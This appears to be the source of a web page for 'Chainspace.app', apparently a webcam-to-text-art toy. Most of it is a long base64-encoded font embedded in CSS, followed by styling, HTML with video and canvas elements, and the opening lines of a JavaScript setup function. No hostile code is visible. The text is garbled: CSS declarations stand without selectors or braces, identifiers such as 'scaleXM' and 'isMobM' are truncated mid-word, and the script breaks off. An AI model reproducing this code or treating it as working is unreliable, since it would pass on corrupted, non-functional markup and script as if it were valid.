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) format('woff');
  font-weight: normal;
  font-style: normal;
    text-align: center;
    overflow: hidden;
    background: #eaeaea;
    align-items: center;
    justify-content: center;
  body.mobile #text-video {
    font-family: 'Noto Mathcastles Remix', monospace;
    pointer-events: none;
    justify-content: center;
    align-items: center;
    transform: scaleX(-1);
    -webkit-transform: scaleXM
    background: #30e7ff;
    font-size: 17px;
    justify-content: center;
    transform: scaleX(-1);
    -webkit-transform: scaleX(-1);
    cursor: pointer;
    justify-content: center;
    pointer-events: none;
    background: #fff;
    border: 1px solid #111;
    padding: 3px 10px;
    font-family: monospace;
    cursor: pointer;
    outline: inherit;
    border-radius: 3px;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    font-family: monospace;
    text-align: center;
    margin-top: 20px;
    margin-bottom: 4px;
    background: #222;
    border-radius: 20px;
    box-shadow: 0 0 16px 0 rgba(0, 0, 0, 0.5);
    margin-bottom: 0;
    font-size: 13px;
  <div id="wrapper">
      <video id="video">Portal is closed.</video>
      <canvas id="canvas-video"></canvas>
    <div id="frame">
      <div id="text-video"></div>
      <div id="header">
 You are the art in Chainspace.app
    <button id="stop">Wave</button>
    function run() {
      function isMobM
        return (typeof window.orientation !== "undefined") || (navigator.userAgent.indexOf('IEMobile') !== -1);
      const video = document.getElementById('video')
      video.setAttribute('autoplay', '');
      video.setAttribute('muted', '');
      video.setAttribute('playsinline', '')
      const textVideo = document.getElementById('text-video')
      const canvas = document.getElementById('canvas-video')
